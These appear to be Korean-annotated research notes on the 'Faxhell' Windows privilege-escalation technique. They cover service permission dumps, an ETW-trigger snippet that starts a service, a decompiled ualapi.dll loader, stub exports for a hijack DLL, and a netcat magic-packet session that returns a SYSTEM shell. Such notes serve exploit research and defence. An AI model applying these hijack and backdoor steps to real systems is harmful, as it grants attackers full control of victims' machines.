Faxhell

SessionEnv O:SYD:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;RPWP;;;S-1-5-80-446051430-1559341753-4161941529-1950928533-810483104)(A;;RPWP;;;S-1-5-80-4130899010-3337817248-2959896732-3640118089-1866760602)

accesschk.exe -c dssvc -l Accesschk v6.12 - Reports effective permissions for securable objects Copyright (C) 2006-2017 Mark Russinovich Sysinternals - www.sysinternals.com dssvc DESCRIPTOR FLAGS: [SE_DACL_PRESENT] OWNER: NT AUTHORITY\SYSTEM // 3번 조건 부합 [0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\INTERACTIVE SERVICE_QUERY_STATUS SERVICE_QUERY_CONFIG SERVICE_INTERROGATE SERVICE_ENUMERATE_DEPENDENTS SERVICE_USER_DEFINED_CONTROL READ_CONTROL [1] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SERVICE SERVICE_QUERY_STATUS SERVICE_QUERY_CONFIG SERVICE_INTERROGATE SERVICE_ENUMERATE_DEPENDENTS SERVICE_USER_DEFINED_CONTROL READ_CONTROL [2] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM SERVICE_ALL_ACCESS [3] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Administrators SERVICE_ALL_ACCESS [4] ACCESS_ALLOWED_ACE_TYPE: Everyone // 서비스 실행 권한 존재 SERVICE_QUERY_STATUS SERVICE_START [5] ACCESS_ALLOWED_ACE_TYPE: APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES SERVICE_QUERY_STATUS SERVICE_START

accesschk.exe -c FAX -l Accesschk v6.12 - Reports effective permissions for securable objects Copyright (C) 2006-2017 Mark Russinovich Sysinternals - www.sysinternals.com FAX DESCRIPTOR FLAGS: [SE_DACL_PRESENT] OWNER: NT AUTHORITY\SYSTEM [0] ACCESS_ALLOWED_ACE_TYPE: Everyone SERVICE_QUERY_STATUS SERVICE_START [1] ACCESS_ALLOWED_ACE_TYPE: NT SERVICE\Fax SERVICE_QUERY_STATUS SERVICE_QUERY_CONFIG SERVICE_INTERROGATE SERVICE_ENUMERATE_DEPENDENTS SERVICE_PAUSE_CONTINUE SERVICE_START SERVICE_STOP SERVICE_USER_DEFINED_CONTROL READ_CONTROL [2] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Administrators SERVICE_ALL_ACCESS [3] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\Authenticated Users SERVICE_QUERY_STATUS SERVICE_QUERY_CONFIG SERVICE_INTERROGATE SERVICE_ENUMERATE_DEPENDENTS SERVICE_USER_DEFINED_CONTROL READ_CONTROL

sc qtriggerinfo DsSvc // Check a Triggers [SC] QueryServiceConfig2 SUCCESS SERVICE_NAME: DsSvc START SERVICE NETWORK EVENT : bc90d167-9470-4139-a9ba-be0bbbf5b74d [RPC INTERFACE EVENT] DATA : BF4DC912-E52F-4904-8EBE-9317C1BDD497 sc query DsSvc // Check a Service's Status SERVICE_NAME: DsSvc TYPE : 30 WIN32 STATE : 1 STOPPED WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x0

rpcping -t ncalrpc -f BF4DC912-E52F-4904-8EBE-9317C1BDD497 -v 2 RPCPing v6.0. Copyright (C) Microsoft Corporation, 2002-2006 Trying to resolve interface BF4DC912-E52F-4904-8EBE9317C1BDD497, Version: 1.0 Completed 1 calls in 1 ms 1000 T/S or 1.000 ms/T sc query dssvc SERVICE_NAME: dssvc TYPE : 30 WIN32 STATE : 4 RUNNING (STOPPABLE, NOT_PAUSABLE, ACCEPTS_PRESHUTDOWN)

sc qtriggerinfo wersvc [SC] QueryServiceConfig2 SUCCESS SERVICE_NAME: wersvc START SERVICE CUSTOM : e46eead8-0c54-4489-9898-8fa79d059e0e [ETW PROVIDER UUID]

$Source = @" using System; using System.Text; using System.Security; using System.Collections.Generic; using System.Runtime.Versioning; using Microsoft.Win32.SafeHandles; using System.Runtime.InteropServices; using System.Diagnostics.CodeAnalysis; namespace JosL.WebClient{ public static class Starter{ [StructLayout(LayoutKind.Explicit, Size=16)] public class EVENT_DESCRIPTOR{ [FieldOffset(0)]ushort Id = 1; [FieldOffset(2)]byte Version = 0; [FieldOffset(3)]byte Channel = 0; [FieldOffset(4)]byte Level = 4; [FieldOffset(5)]byte Opcode = 0; [FieldOffset(6)]ushort Task = 0; [FieldOffset(8)]long Keyword = 0; } [StructLayout(LayoutKind.Explicit, Size = 16)] public struct EventData{ [FieldOffset(0)] internal UInt64 DataPointer; [FieldOffset(8)] internal uint Size; [FieldOffset(12)] internal int Reserved; } public static void startService(){ Guid webClientTrigger = new Guid(0xe46eead8, 0x0c54, 0x4489, 0x98, 0x98, 0x8f, 0xa7, 0x9d, 0x05, 0x9e, 0x0e); long handle = 0; uint output = EventRegister(ref webClientTrigger, IntPtr.Zero, IntPtr.Zero, ref handle); bool success = false; if (output == 0){ EVENT_DESCRIPTOR desc = new EVENT_DESCRIPTOR(); unsafe { uint writeOutput = EventWrite(handle, ref desc, 0, null); success = writeOutput == 0; EventUnregister(handle); } } } [DllImport("Advapi32.dll", SetLastError = true)] public static extern uint EventRegister(ref Guid guid, [Optional] IntPtr EnableCallback, [Optional] IntPtr CallbackContext, [In][Out] ref long RegHandle); [DllImport("Advapi32.dll", SetLastError = true)] public static extern unsafe uint EventWrite(long RegHandle, ref EVENT_DESCRIPTOR EventDescriptor, uint UserDataCount, EventData* UserData); [DllImport("Advapi32.dll", SetLastError = true)] public static extern uint EventUnregister(long RegHandle); } } "@ $compilerParameters = New-Object System.CodeDom.Compiler.CompilerParameters $compilerParameters.CompilerOptions="/unsafe" Add-Type -TypeDefinition $Source -Language CSharp -CompilerParameters $compilerParameters [JosL.WebClient.Starter]::startService()

sc query wersvc SERVICE_NAME: wersvc TYPE : 10 WIN32_OWN_PROCESS STATE : 4 RUNNING (STOPPABLE, PAUSABLE, IGNORES_SHUTDOWN) WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x0

__int64 UalOpenSession() { HMODULE v0; // rax DWORD v1; // ecx __int64 result; // rax DWORD v3; // ebx int (__stdcall *v4)(struct tagUAL_DATA_BLOB *); // rax int v5; // [rsp+20h] [rbp-2C8h] __int128 v6; // [rsp+24h] [rbp-2C4h] char Dst; // [rsp+34h] [rbp-2B4h] if ( ualapiModule ) goto LABEL_15; v0 = LoadLibraryExW(L"ualapi.dll", 0i64, 0x800u); ualapiModule = v0; if ( !v0 ) { v1 = GetLastError(); result = (unsigned __int16)v1 | 0x80070000; if ( (signed int)v1 <= 0 ) result = v1; return result; } fnUalInstrument = (int (__stdcall *)(struct tagUAL_DATA_BLOB *))GetProcAddress(v0, "UalInstrument"); if ( fnUalInstrument ) { fnUalStart = (int (__stdcall *)(struct tagUAL_DATA_BLOB *))GetProcAddress(ualapiModule, "UalStart"); if ( fnUalStart ) { fnUalStop = (int (__stdcall *)(struct tagUAL_DATA_BLOB *))GetProcAddress(ualapiModule, "UalStop"); if ( fnUalStop ) { LABEL_15: memset_0(&Dst, 0, 0x29Cui64); v4 = fnUalStart; v5 = 688; _mm_storeu_si128((__m128i *)&v6, (__m128i)SumGuid_FAX); return ((__int64 (__fastcall *)(int *))v4)(&v5); } } } v3 = GetLastError(); FreeLibrary(ualapiModule); ualapiModule = 0i64; fnUalInstrument = 0i64; fnUalStart = 0i64; fnUalStop = 0i64; result = (unsigned __int16)v3 | 0x80070000; if ( (signed int)v3 <= 0 ) result = v3; return result; }

__declspec(dllexport) HRESULT UalStop(PVOID Blob) { UNREFERENCED_PARAMETER(Blob); return ERROR_SUCCESS; } __declspec(dllexport) HRESULT UalInstrument(PVOID Blob) { UNREFERENCED_PARAMETER(Blob); return ERROR_SUCCESS; }

C:\Users\User>C:\Users\User\Desktop\nc64.exe 192.168.145.137 9299 let me in //매직 패킷 READY Microsoft Windows [Version 10.0.16299.15] (c) 2017 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami whoami nt authority\system

... while (1) { // // Execute the work callback that will take care of // work = CreateThreadpoolWork(WorkCallback, &hResult, &CallBackEnviron); //Thread Pool 생성 후 WorkCallback 함수 할당 if (work == NULL) { goto Failure; } // // Send the work and wait for it to complete // SubmitThreadpoolWork(work); WaitForThreadpoolWorkCallbacks(work, FALSE); if (FAILED(hResult)) { break; } // // We're done with this work // CloseThreadpoolWork(work); } ...